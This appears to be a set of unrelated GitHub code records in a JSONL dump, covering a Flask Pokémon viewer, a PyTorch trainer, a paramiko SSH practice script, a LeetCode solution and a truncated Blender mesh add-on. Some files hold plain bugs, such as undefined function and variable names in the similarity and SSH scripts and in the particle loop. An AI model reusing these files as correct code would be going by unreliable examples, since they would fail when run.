data.get(\"height\")\n altura.append(pokemon_altura)\n return render_template('index.html',len = len(nombres), pokemon=nombres,\n imagen=fotos, no=numeroPoke, tipo = tipo, peso=peso, altura=altura)\n\n#Obtiene un pokemon\ndef get_pokemon_data(url_pokemon=''):\n pokemon_data = {\n \"name\": '',\n \"height\": '',\n \"types\": '',\n \"weight\": '',\n\n }\n response = requests.get(url_pokemon)\n data = response.json()\n\n pokemon_data['name'] = data['name']\n pokemon_data['height'] = data['height']\n pokemon_data['types'] = data['types']\n pokemon_data['weight'] = data['weight']\n\n return pokemon_data\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"sescobar-2020031/API-Tabla-de-Consulta","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8685341892","text":"import copy\nimport warnings\nfrom typing import Callable, Optional\n\nimport torch\nfrom torch import nn\n\n\ndef replace_layers_in_module(module: nn.Module, mapping_fn: Callable, *args, **kwargs) -> bool:\n \"\"\"\n Recursively iterate over the children of a module and replace them according to `mapping_fn`.\n\n Returns:\n True if a layer has been changed.\n \"\"\"\n changed = False\n for name, child in module.named_children():\n new_module: Optional[nn.Module] = mapping_fn(child, *args, **kwargs)\n\n if new_module is not None:\n changed = True\n new_module.train(mode=child.training)\n module.add_module(name, new_module)\n\n # recursively apply to child\n changed |= replace_layers_in_module(child, mapping_fn, *args, **kwargs)\n return changed\n\n\nclass BayesianModule(torch.nn.Module):\n patching_function: Callable[..., torch.nn.Module]\n unpatch_function: Callable[..., torch.nn.Module]\n\n def __init__(self, module, *args, **kwargs):\n super().__init__()\n self.parent_module = self.__class__.patching_function(module, *args, **kwargs)\n\n def forward(self, *args, **kwargs):\n return self.parent_module(*args, **kwargs)\n\n def unpatch(self) -> torch.nn.Module:\n return self.__class__.unpatch_function(self.parent_module)\n\n # Context Manager\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.unpatch()\n\n\ndef _patching_wrapper(\n module: nn.Module,\n inplace: bool,\n patching_fn: Callable[..., Optional[nn.Module]],\n *args,\n **kwargs\n) -> nn.Module:\n if not inplace:\n module = copy.deepcopy(module)\n changed = replace_layers_in_module(module, patching_fn, *args, **kwargs)\n if not changed:\n warnings.warn(\"No layer was modified by patch_module!\", UserWarning)\n return module\n","repo_name":"baal-org/baal","sub_path":"baal/bayesian/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":802,"dataset":"github-code","pt":"62"} +{"seq_id":"13180993462","text":"class Solution(object):\n def firstUniqChar(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n cha = ord('a')\n cnt = [0] * 27\n first = [0] * 27\n for i in reversed(range(len(s))):\n ch = s[i]\n pos = ord(ch) - cha\n cnt[pos] += 1\n first[pos] = i\n\n result = len(s) + 1\n\n for i in range(26):\n if cnt[i] == 1 and first[i] < result:\n result = first[i]\n\n if result == len(s) + 1:\n return -1\n\n return result\n","repo_name":"carwestsam/leetCode","sub_path":"p387/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"1527935080","text":"\nimport math\n\ndef sim(v1, v2):\n # compute cosine similarity of v1 to 2 : (v1 dot v2)/{||v1|| * ||v2||} \n \n sumxx, sumxy, sumyy = 0, 0, 0\n for i in range(len(v1)):\n x = v1[i]; y = v2[i]\n sumxx += x*x\n sumyy += y*y\n sumxy += x*y\n return sumxy / math.sqrt( sumxx * sumyy )\n\n \nkitten = [0,1,0,0,1,1,0,1]\ncat = [0,1,1,0,1,0,0,0]\ndog = [1,0,1,1,0,0,1,0]\n\nprint( \"sim(kitten,cat) = \" , cosine_similarity(kitten ,cat)) # 0.58\nprint( \"sim(kitten,dog) = \" , cosine_similarity(kitten ,dog)) # 0.00\nprint( \"sim(cat,dog) = \" , cosine_similarity(cat ,dog)) # 0.29","repo_name":"jeromwolf/Oxford_DeepMind","sub_path":"Lecture2.py","file_name":"Lecture2.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45106989554","text":"#!/usr/bin/python3\nimport paramiko\nimport os\n\n\ndef commandtoissue(command_to_issue,sshsession):\n ssh_stdin, ssh_stdout, ssh_stderr = sshsession.exec_command(command_to_issue)\n return ssh_stdout.read()\n\ndef main():\n sshsession = paramiko.SSHClient()\n sshsession.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n mykey = paramiko.RSAKey.from_private_key_file(\"/home/student/.ssh/id_rsa\")\n sshsession.connect(hostname = \"10.10.2.3\", username=\"bender\", pkey=mykey)\n \n\n# mycoomand=['touch sshworked.txt', 'ls']\n\n# for command in mycommands:\n# output = commandtoissue(command, sshsession)\n# print(output)\n\n ssh_stdin, ssh_stdout, ssh_stderr = sshsession.exec_command('touch sshworked.txt')\n print(ssh_stdout.read())\n \n ssh_stdin, ssh_stdout, ssh_stderr = sshsession.exec_command('ls')\n print(ssh_stdout.read())\n \n session.close()\n\n print(help(sshsession.connect))\n\nmain()\n","repo_name":"MdIqbalChowdhury/mycodePython-Ansible","sub_path":"paramiko_learntossh.py","file_name":"paramiko_learntossh.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30906587067","text":"class Solution:\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n num = ''\n for x in digits:\n num += str(x)\n num = int(num) + 1\n num_list = list(str(num))\n rest = map(lambda x: int(x), num_list)\n return list(rest)\n","repo_name":"mashpolo/leetcode_ans","sub_path":"100/plus_one/ans.py","file_name":"ans.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70463541639","text":"from __future__ import print_function\n\n\nfrom __future__ import absolute_import\ndef resume_errors_info(data):\n import numpy\n import datamind.tools as T\n\n def print_errors(type, errors):\n if len(errors) == 0:\n print('\\tN/D\\tN/D\\tN/D\\tN/D')\n return\n list = (float(numpy.mean(errors)), float(numpy.std(errors)),\n float(max(errors)), float(min(errors)))\n T.msg.write_list([(type, 'green'),\n '\\t%.4f\\t%.4f\\t%.4f\\t%.4f\\n' % list])\n T.msg.write(' \\tMean\\tStd\\tMax\\tMin\\n', 'red')\n print_errors('Raw', data['Raw'])\n print_errors('Mean', data['Mean'])\n print_errors('Good', data['Good'])\n print_errors('Bad', data['Bad'])\n\n\ndef make_errors_hist(filename, data, title='Model fitting errors'):\n import pylab\n import numpy\n\n def generic_hist(axes, data, subtitle):\n h = pylab.hist(data)\n ma = axes.get_ylim()[1]\n me = numpy.mean(data)\n pylab.plot([me, me], [0, ma], color='red', linewidth=2)\n pylab.title(subtitle)\n\n f = pylab.figure()\n ax1 = pylab.subplot(221)\n generic_hist(ax1, data['Raw'], 'Raw')\n ax2 = pylab.subplot(222)\n generic_hist(ax2, data['Mean'], 'Mean')\n ax3 = pylab.subplot(223)\n generic_hist(ax3, data['Good'], 'Good')\n ax4 = pylab.subplot(224)\n generic_hist(ax4, data['Bad'], 'Bad')\n pylab.subplots_adjust(top=0.8)\n f.text(0.5, 0.9, title, verticalalignment='bottom',\n horizontalalignment='center', fontsize=16)\n pylab.savefig(filename)\n","repo_name":"brainvisa/sulci-nonfree","sub_path":"pysigraph/python/sigraph/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"225006752","text":"\"\"\"Write a program that takes a list of numbers as input.\nThe program should calculate the product of all the numbers in the list. However,\nif the product exceeds 100, the program should stop calculating\nand print a message indicating that the product is too large.\nUse a for loop and the break statement to terminate the loop when necessary.\"\"\"\n\nnumbers = input(\"Enter a list of numbers (separated by spaces): \").split()\nproduct = 1\nprint(f\"Numbers list: {numbers}\")\n\nfor num in numbers:\n product *= int(num)\n if product > 100:\n print(\"Product is too large.\")\n break\n\nprint(\"Product:\", product)\n","repo_name":"XelNagaMDA/PythonHomeWork_VictorT","sub_path":"Lesson_8_HomeWork_VictorT/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6542229489","text":"import random\nimport numpy as np\nimport os\nimport json\nfrom itertools import chain\nfrom tqdm import tqdm\nfrom typing import List, Dict\nimport wandb\n\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.optim import AdamW\nfrom torch.optim.lr_scheduler import OneCycleLR\n\nfrom src.dataset.seq2seq_dataset import collate_fn\n\n\nclass Trainer:\n def __init__(self, config, model, train_dataset, val_dataset=None, test_dataset=None, checkpoint=None):\n # Base class for training\n self.config = config\n self.model = model\n self.train_dataset = train_dataset\n self.val_dataset = val_dataset\n self.test_dataset = test_dataset\n \n if self.val_dataset == None:\n self.val_dataset = train_dataset\n if self.test_dataset == None:\n self.test_dataste = train_dataset\n \n self.set_seed()\n self.device = torch.device('cuda' if \n torch.cuda.is_available and \n self.config['general'].getboolean('use_gpu') else\n 'cpu')\n print(f'----------- device : {self.device}')\n self.model.to(self.device)\n if checkpoint is not None:\n model.load_state_dict(torch.load(os.path.join(*checkpoint.split('\\\\'))))\n self.train_dataloader, self.val_dataloader = self._get_dataloader(self.config)\n self.optimizer, self.lr_scheduler = self._get_optimizer(self.config)\n # self.node_label2id, self.edge_label2id = self._load_label_dict(self.config)\n self.masked_node_idx, self.masked_edge_idx = self._get_mask(self.config)\n assert len(set(self.masked_edge_idx)) == len(self.masked_edge_idx)\n assert len(set(self.masked_node_idx)) == len(self.masked_node_idx)\n \n def set_seed(self):\n self.seed = int(self.config['general']['seed'])\n torch.manual_seed(self.seed)\n random.seed(self.seed)\n np.random.seed(self.seed)\n \n def _get_optimizer(self, config):\n # AdamW + OneCycleLR\n # Currently using maximum learning rate from old experiment\n # TODO: rerun find maximum learning rate\n # Note: onecycle requires running the full number of epochs, do not use early stopping\n # change to something else depeding on full training run time\n total_steps = len(self.train_dataloader) * int(self.config['training']['n_epoch'])\n model_params = list(self.model.named_parameters())\n no_decay = ['bias']\n optimized_params = [\n {\n 'params':[p for n, p in model_params if not any(nd in n for nd in no_decay)], \n 'weight_decay': 0.01\n },\n {\n 'params': [p for n, p in model_params if any(nd in n for nd in no_decay)],\n 'weight_decay': 0.0\n } \n ]\n optimizer = AdamW(optimized_params, lr=float(config['training']['lr']))\n lr_scheduler = OneCycleLR(\n optimizer, \n max_lr=float(self.config['training']['max_lr']), \n total_steps=total_steps\n )\n \n return optimizer, lr_scheduler\n \n def _get_dataloader(self, config):\n train_dataloader = DataLoader(self.train_dataset,\n batch_size=int(config['training']['bsz_train']),\n collate_fn=collate_fn,\n shuffle=False,\n drop_last=False)\n val_dataloader = DataLoader(self.val_dataset,\n batch_size=int(config['training']['bsz_val']),\n collate_fn=collate_fn,\n shuffle=False,\n drop_last=False)\n \n return train_dataloader, val_dataloader\n \n def _load_label_dict(self, config):\n # Get the semantic subspace id to produce mask\n node_dict_path = os.path.join(*config['data_path']['node_dict'].split('\\\\'))\n edge_dict_path = os.path.join(*config['data_path']['edge_dict'].split('\\\\'))\n \n with open(node_dict_path, 'r') as f:\n node_label2id = json.load(f)\n f.close()\n with open(edge_dict_path, 'r') as f:\n edge_label2id = json.load(f)\n f.close()\n \n return node_label2id, edge_label2id\n \n def _get_mask(self, config):\n # Produce mask to exclude semantic subspaces, \n # change in config 'training' section\n masked_node_subspace = config['training']['node_subspace'].split(' ')\n masked_edge_subspace = config['training']['edge_subspace'].split(' ')\n if masked_node_subspace == ['none'] and masked_edge_subspace == ['none']:\n return [], []\n subspace_dict_path = os.path.join(*config['data_path']['subspace_dict'].split('\\\\'))\n with open(subspace_dict_path, 'r') as f:\n subspace2id = json.load(f)\n f.close()\n masked_node_idx = [subspace2id[subspace] for subspace in masked_node_subspace]\n masked_edge_idx = [subspace2id[subspace] for subspace in masked_edge_subspace]\n masked_node_idx = list(chain.from_iterable(masked_node_idx))\n masked_edge_idx = list(chain.from_iterable(masked_edge_idx))\n \n return masked_node_idx, masked_edge_idx \n \n def _to_device(self, batch):\n out = []\n for item in batch:\n try:\n out.append(item.to(self.device))\n except:\n out.append(item)\n out = tuple(out)\n \n return out\n \n def _calculate_masked_loss(self, pred, true, mask):\n # note: nan * False = nan, not 0\n # mask is subspace mask, mask_ is target value nan mask ('normal' mask)\n mask_ = torch.isnan(true) != True\n mask_ = mask_*mask\n loss = torch.sum((torch.nan_to_num(pred-true)**2)*mask_) / (torch.sum(mask_)+0.000001)\n return loss\n\n def _extract_masks(self, labels, subspace):\n # mask = labels != float('nan')\n mask = torch.ones(labels.size())\n if subspace == 'nodes':\n mask[:, :, self.masked_node_idx] = 0.\n elif subspace == 'edges':\n mask[:, :, self.masked_edge_idx] = 0.\n else:\n print('error in choosing subspace to mask')\n mask = mask.to(self.device)\n \n return mask\n \n def _extract_reverse_masks(self, labels, subspace):\n mask = torch.zeros(labels.size())\n if subspace == 'nodes':\n mask[:, :, self.masked_node_idx] = 1.\n elif subspace == 'edges':\n mask[:, :, self.masked_edge_idx] = 1.\n else:\n print('error in choosing subspace to mask')\n mask = mask.to(self.device)\n \n return mask\n \n def run_partial_train(self, run_name: str, finetune_thresh):\n self.model.train()\n pbar = tqdm(enumerate(self.train_dataloader), total=len(self.train_dataloader), mininterval=2)\n total_loss = 0\n n_sample_trained = 0\n best_loss = self.run_validation()\n n_finetune_thresh = float(finetune_thresh) * len(self.train_dataloader)\n bs = int(self.config['training']['bsz_train'])\n \n for i, batch in pbar:\n batch = self._to_device(batch)\n (_, node_ids, node_labels, edge_ids, edge_labels) = batch\n \n # early stopping at proportion of finetune subspace\n n_sample_trained += bs\n if n_sample_trained > n_finetune_thresh:\n break\n \n # forward\n node_output, edge_output = self.model(batch)\n assert node_output.size() == node_labels.size()\n assert edge_output.size() == edge_labels.size()\n # print(node_output[0])\n # print(node_labels[0])\n \n node_mask = self._extract_reverse_masks(node_labels, subspace='nodes')\n edge_mask = self._extract_reverse_masks(edge_labels, subspace='edges')\n \n node_loss = self._calculate_masked_loss(node_output, node_labels, node_mask)\n edge_loss = self._calculate_masked_loss(edge_output, edge_labels, edge_mask)\n loss = node_loss + edge_loss\n with torch.no_grad():\n total_loss += loss\n \n # step\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n # self.lr_scheduler.step()\n \n # log\n wandb.log({\n 'train_total_loss': loss/bs,\n 'train_node_loss': node_loss/bs,\n 'train_edge_loss': edge_loss/bs,\n 'learning_rate': self.lr_scheduler.get_last_lr()\n })\n pbar.set_description(f'(Training) Epoch: 0 - Steps: {i}/{len(self.train_dataloader)} - Loss: {loss}', refresh=True)\n \n print(f'Training loss: {total_loss}')\n val_loss = self.run_validation()\n print(val_loss)\n \n def run_train(self, run_name: str):\n # Take run_name to be used in saved checkpoint\n # Save checkpoint everytime val_loss decreases\n # Note: tqdm(enumerate) cause memory leakage?\n total_train_step = 0\n best_loss = self.run_validation()\n frozen = True\n \n for epoch in range(int(self.config['training']['n_epoch'])):\n pbar = tqdm(enumerate(self.train_dataloader), total=len(self.train_dataloader), mininterval=2)\n self.model.train()\n total_loss = 0\n \n for i, batch in pbar:\n # if i == 5: break\n batch = self._to_device(batch)\n (_, _, node_labels, _, edge_labels) = batch\n \n # forward\n node_output, edge_output = self.model(batch)\n assert node_output.size() == node_labels.size()\n assert edge_output.size() == edge_labels.size()\n # print(node_output[0])\n # print(node_labels[0])\n \n node_mask = self._extract_masks(node_labels, subspace='nodes')\n edge_mask = self._extract_masks(edge_labels, subspace='edges')\n \n node_loss = self._calculate_masked_loss(node_output, node_labels, node_mask)\n edge_loss = self._calculate_masked_loss(edge_output, edge_labels, edge_mask)\n loss = node_loss + edge_loss\n with torch.no_grad():\n total_loss += loss\n \n # step\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n # self.lr_scheduler.step()\n \n # log\n total_train_step += 1\n bs = int(self.config['training']['bsz_train'])\n wandb.log({\n 'train_total_loss': loss,\n 'train_node_loss': node_loss,\n 'train_edge_loss': edge_loss,\n 'learning_rate': float(self.optimizer.param_groups[0]['lr'])\n })\n pbar.set_description(f'(Training) Epoch: {epoch} - Steps: {i}/{len(self.train_dataloader)} - Loss: {loss}', refresh=True)\n \n print(f'Training loss: {total_loss}')\n val_loss = self.run_validation()\n if val_loss < best_loss:\n best_loss = val_loss\n self._save_model(self.model, self.config['model_path']['checkpoint_dir'] + run_name + '.pt')\n elif val_loss >= best_loss and frozen == True:\n print(f'Unfreeze encoder at epoch {epoch}')\n frozen = False\n for g in self.optimizer.param_groups:\n g['lr'] = float(self.config['training']['unfreeze_lr'])\n for param in self.model.pretrained_encoder.parameters():\n param.requires_grad = True\n \n def run_validation(self):\n pbar = tqdm(enumerate(self.val_dataloader), total = len(self.val_dataloader))\n self.model.eval()\n total_val_loss = 0\n \n for i, batch in pbar:\n batch = self._to_device(batch)\n (_, node_ids, node_labels, edge_ids, edge_labels) = batch\n \n # forward\n with torch.no_grad(): \n node_output, edge_output = self.model(batch)\n \n node_mask = self._extract_masks(node_labels, subspace='nodes')\n edge_mask = self._extract_masks(edge_labels, subspace='edges')\n \n node_loss = self._calculate_masked_loss(node_output, node_labels, node_mask)\n edge_loss = self._calculate_masked_loss(edge_output, edge_labels, edge_mask)\n val_loss = node_loss + edge_loss\n \n total_val_loss += val_loss\n\n pbar.set_description(f'(Validating) Steps: {i}/{len(self.val_dataloader)} - Loss: {val_loss}', refresh=True)\n # bs = int(self.config['training']['bsz_val'])\n wandb.log({\n 'val_total_loss': val_loss,\n 'val_node_loss': node_loss,\n 'val_edge_loss': edge_loss\n })\n \n print(f'Validation loss: {total_val_loss}')\n wandb.log({'epoch_val_loss': total_val_loss})\n \n return total_val_loss\n \n def _save_model(self, model, path):\n print(f'Saving model checkpoint at {path}')\n save_path = os.path.join(*path.split('\\\\'))\n torch.save(model.state_dict(), open(save_path, 'wb'))\n \ndef trainer_test(config):\n from transformers import RobertaTokenizerFast\n \n from src.dataset.seq2seq_dataset import UDSDataset\n from src.model.baseline import BaseModel\n # from src.model.pretrained_roberta import PretrainedModel\n \n tokenizer = RobertaTokenizerFast.from_pretrained('roberta-base')\n dataset = UDSDataset(config, 'train_subset', tokenizer)\n model = BaseModel(config)\n \n trainer = Trainer(config, model, dataset)\n trainer.run_train('testtesttest')\n\nif __name__ == '__main__':\n import configparser\n \n config = configparser.ConfigParser()\n config.read(os.path.join('configs', 'config.cfg'))\n \n trainer_test(config)\n # trainer_finetune_test(config)","repo_name":"ndrwhoang/semanticsprediction","sub_path":"src/trainer/base_trainer.py","file_name":"base_trainer.py","file_ext":"py","file_size_in_byte":14578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33113385056","text":"#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n# All rights reserved.\n# ***** GPL LICENSE BLOCK *****\n\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### HEADER\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\nbl_info = {\n \"name\" : \"SHIFT - Mesh Tools\",\n \"author\" : \"BBC\",\n \"version\" : (1,0),\n \"blender\" : (2, 5, 3),\n \"api\" : 31236,\n \"category\" : \"Object\",\n \"location\" : \"Tool Shelf\",\n \"warning\" : '',\n \"wiki_url\" : \"\",\n \"tracker_url\" : \"\",\n \"description\" : \"Various mesh operations\"}\n\nimport os\nimport bpy\nimport sys\nimport time\nimport math\nimport shutil\nimport ctypes\nimport operator\nimport mathutils\n\nfrom math import *\nfrom ctypes import *\nfrom bpy.props import *\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS TRIANGULATE\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processTriangulate ():\n\n start_time = time.clock ()\n\n # shortcut\n scene = bpy.context.scene\n\n # shortcut\n selected = bpy.context.selected_objects\n\n # log\n print ('\\nTriangulate starting... \\n\\n\\tObjects (', len (selected), ') :')\n print ('')\n\n for i, obj in enumerate (selected):\n\n # is it mesh ?\n if obj and obj.type == 'MESH':\n\n # set active object\n scene.objects.active = obj\n\n # saving vertex normals\n if scene.shift_mt_preserve :\n \n normals = [mathutils.Vector ((v.normal [0], v.normal [1], v.normal [2])) for v in obj.data.vertices]\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n \n # face selection mode\n bpy.context.tool_settings.mesh_select_mode = (False, False, True)\n \n # select all\n bpy.ops.mesh.select_all (action = 'SELECT')\n \n # unhide all faces\n bpy.ops.mesh.reveal ()\n \n # conversion\n bpy.ops.mesh.quads_convert_to_tris ()\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n if scene.shift_mt_preserve :\n\n # restoring normals\n for v in obj.data.vertices: v.normal = normals [v.index]\n\n # clean up \n normals [:] = []\n\n # log\n print (i + 1, \"Object : '\", obj.name, \"'\")\n \n else:\n \n # log\n print (i + 1, \"Object : '\", obj.name, \"' is not a mesh\")\n \n # log \n print ('')\n print ('Triangulate finished in %.4f sec.' % (time.clock () - start_time))\n\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n#### PROCESS SPLIT GRID\n####------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processSplitGrid (obj):\n\n start_time = time.clock ()\n\n # shortcut\n mesh = obj.data\n \n # shortcut\n scene = bpy.context.scene\n\n # active object\n scene.objects.active = obj; obj.select = True\n\n # is it mesh ?\n if not obj or obj.type != 'MESH': return\n\n # log\n print ('\\nSplit starting... \\n')\n print ('')\n\n # check mesh\n for f in mesh.faces:\n \n try: f.vertices [3]\n except: continue\n\n print ('ERROR | Mesh :', mesh.name, ' containts one or more quads.')\n return -1\n\n # log\n start_time_ = time.clock (); print ('Prepare ..')\n\n # save group name\n gname = \"tmp_group\"\n\n # create temporary group\n bpy.ops.group.create (name = gname)\n\n # our group\n group = bpy.data.groups [gname]\n\n # saving vertex data\n if scene.shift_mt_preserve :\n\n layer = mesh.vertex_colors.new (name = gname)\n\n mesh.vertex_colors.active = layer\n\n for i, col in enumerate (layer.data) :\n\n f = mesh.faces [i]\n\n v = mesh.vertices [f.vertices [0]]\n col.color1 [0] = 0.5 + 0.5 * v.normal [0]\n col.color1 [1] = 0.5 + 0.5 * v.normal [1]\n col.color1 [2] = 0.5 + 0.5 * v.normal [2]\n \n v = mesh.vertices [f.vertices [1]]\n col.color2 [0] = 0.5 + 0.5 * v.normal [0]\n col.color2 [1] = 0.5 + 0.5 * v.normal [1]\n col.color2 [2] = 0.5 + 0.5 * v.normal [2]\n\n v = mesh.vertices [f.vertices [2]]\n col.color3 [0] = 0.5 + 0.5 * v.normal [0]\n col.color3 [1] = 0.5 + 0.5 * v.normal [1]\n col.color3 [2] = 0.5 + 0.5 * v.normal [2]\n \n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n \n # face selection mode\n bpy.context.tool_settings.mesh_select_mode = (False, False, True)\n\n # unhide all\n bpy.ops.mesh.reveal ()\n\n # deselect\n bpy.ops.mesh.select_all (action = 'DESELECT')\n\n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # deselect\n bpy.ops.object.select_all (action = 'DESELECT')\n\n # evaluating bounding box\n minv = mathutils.Vector (( 999999999.0, 999999999.0, 999999999.0))\n maxv = mathutils.Vector ((-999999999.0, -999999999.0, -999999999.0))\n\n for v in obj.data.vertices:\n\n if v.co [0] < minv [0]: minv [0] = v.co [0]\n if v.co [1] < minv [1]: minv [1] = v.co [1]\n if v.co [2] < minv [2]: minv [2] = v.co [2]\n \n if v.co [0] > maxv [0]: maxv [0] = v.co [0]\n if v.co [1] > maxv [1]: maxv [1] = v.co [1]\n if v.co [2] > maxv [2]: maxv [2] = v.co [2]\n \n if (scene.shift_mt_spatial):\n\n clusterx = scene.shift_mt_clusterx\n clustery = scene.shift_mt_clustery\n clusterz = scene.shift_mt_clusterz\n\n dividex = math.ceil (abs (maxv [0] - minv [0]) / clusterx)\n dividey = math.ceil (abs (maxv [1] - minv [1]) / clustery)\n dividez = math.ceil (abs (maxv [2] - minv [2]) / clusterz)\n \n else:\n \n clusterx = abs (maxv [0] - minv [0]) / scene.shift_mt_subdivisionx\n clustery = abs (maxv [1] - minv [1]) / scene.shift_mt_subdivisiony\n clusterz = abs (maxv [2] - minv [2]) / scene.shift_mt_subdivisionz\n\n dividex = scene.shift_mt_subdivisionx\n dividey = scene.shift_mt_subdivisiony\n dividez = scene.shift_mt_subdivisionz\n\n print ('\\nPossible elements : ', dividex * dividey * dividez, '\\n')\n print ('')\n\n # particles\n if (scene.shift_mt_particles):\n\n # array of face vertices\n facestype = ctypes.c_float * (len (obj.data.faces) * 9); faces = facestype ()\n\n # internal copies of particle systems\n particles = [None for s in obj.particle_systems]\n particlesi = [None for s in obj.particle_systems]\n\n # particle data\n data_particles = [None for s in obj.particle_systems]\n\n # counters\n particlec = [0 for s in obj.particle_systems]\n\n for i, s in enumerate (obj.particle_systems):\n\n if (s.settings.type == 'HAIR'):\n\n # active system\n obj.particle_systems.active_index = i\n\n bpy.ops.particle.particle_edit_toggle ()\n bpy.ops.particle.particle_edit_toggle ()\n \n # shortcut\n obj_particles = s.particles\n \n # array of particle positions and their indices\n particlestype = ctypes.c_float * (len (obj_particles) * 3); particles [i] = particlestype ()\n particlestype = ctypes.c_uint * len (obj_particles); particlesi [i] = particlestype ()\n \n # saving particle data\n data_particles [i] = [[] for p in obj_particles]\n\n # shortcuts\n data_particless = data_particles [i]\n particless = particles [i]\n\n c = 0\n for j, p in enumerate (obj_particles):\n\n particless [c ] = ctypes.c_float (p.is_hair [0].co [0])\n particless [c + 1] = ctypes.c_float (p.is_hair [0].co [1])\n particless [c + 2] = ctypes.c_float (p.is_hair [0].co [2]); c += 3\n \n data_particless [j] = [ p.alive_state, \\\n p.location [0], \\\n p.location [1], \\\n p.location [2], \\\n p.rotation [0], \\\n p.rotation [1], \\\n p.rotation [2], \\\n p.rotation [3], p.size, \\\n p.velocity [0], \\\n p.velocity [1], \\\n p.velocity [2], \\\n p.angular_velocity [0], \\\n p.angular_velocity [1], \\\n p.angular_velocity [2], \\\n p.prev_location [0], \\\n p.prev_location [1], \\\n p.prev_location [2], \\\n p.prev_rotation [0], \\\n p.prev_rotation [1], \\\n p.prev_rotation [2], \\\n p.prev_rotation [3], \\\n p.prev_velocity [0], \\\n p.prev_velocity [1], \\\n p.prev_velocity [2], \\\n p.prev_angular_velocity [0], \\\n p.prev_angular_velocity [1], \\\n p.prev_angular_velocity [2], \\\n p.lifetime, p.birth_time, p.die_time, \\\n len (p.is_hair), [], \\\n len (p.keys), []]\n \n data = data_particless [j][32]\n for pp in p.is_hair:\n data.append (pp.co [0])\n data.append (pp.co [1])\n data.append (pp.co [2])\n data.append (pp.co_hair_space [0])\n data.append (pp.co_hair_space [1])\n data.append (pp.co_hair_space [2])\n data.append (pp.time)\n data.append (pp.weight)\n \n data = data_particless [j][34]\n for k in p.keys:\n data.append (angular_velocity [0])\n data.append (angular_velocity [1])\n data.append (angular_velocity [2])\n data.append (location [0])\n data.append (location [1])\n data.append (location [2])\n data.append (rotation [0])\n data.append (rotation [1])\n data.append (rotation [2])\n data.append (rotation [3])\n data.append (velocity [0])\n data.append (velocity [1])\n data.append (velocity [2])\n data.append (time)\n \n # free memory\n s.settings.count = 0\n\n bpy.ops.particle.edited_clear ()\n \n bpy.ops.particle.particle_edit_toggle ()\n bpy.ops.particle.particle_edit_toggle ()\n\n # save count\n particlec [i] = c\n \n # log\n print ('Prepare done in %.4f sec' % (time.clock () - start_time_))\n\n print ('') \n print ('Splitting ..')\n\n # shortcut\n minfaces = scene.shift_mt_minfaces\n \n if (dividex > 1):\n \n for obj in group.objects:\n\n # active object\n scene.objects.active = obj; obj.select = True\n \n # deselect faces\n for f in obj.data.faces: f.select = False\n \n position = minv [0]\n for x in range (dividex - 1):\n\n # end positiom\n end = position + clusterx\n\n count = 0\n \n # taking whole faces\n for f in obj.data.faces:\n if f.center [0] >= position and f.center [0] <= end : f.select = True; count += 1\n\n if ((len (obj.data.faces) - count) < minfaces): break\n\n if (count >= minfaces):\n\n # edit mode\n bpy.ops.object.mode_set (mode = 'EDIT')\n\n # separate\n bpy.ops.mesh.separate ()\n \n # object mode\n bpy.ops.object.mode_set (mode = 'OBJECT')\n\n # log\n print (\"Split \", len (group.objects))\n \n # advance\n position += clusterx\n \n # unselect\n obj.select = False\n\n if (dividey > 1):\n \n for obj in group.objects:\n\n # active object\n scene.objects.active = obj; obj.select = True\n \n # deselect faces\n for f in obj.data.faces: f.select = False\n \n position = minv [1]\n for y in range (dividey - 1):\n\n # end positiom\n end = position + clustery\n \n count = 0\n \n # taking whole faces\n for f in obj.data.faces:\n if f.center [1] >= position and f.center [1] <= end : f.select = True; count += 1\n \n if ((len (obj.data.faces) - count) < minfaces): break\n \n if (count 